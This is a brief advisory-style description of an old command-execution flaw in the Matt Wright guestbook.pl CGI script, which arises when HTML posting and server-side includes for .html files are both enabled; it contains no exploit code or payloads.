  				The Matt Wright guestbook.pl <= v2.3.1 CGI script contains
  				a flaw that may allow arbitrary command execution. The vulnerability
  				requires that HTML posting is enabled in the guestbook.pl script, and
  				that the web server must have the Server-Side Include (SSI) script
  				handler enabled for the '.html' file type. By combining the script
  				weakness with non-default server configuration, it is possible to exploit
  				this vulnerability successfully.
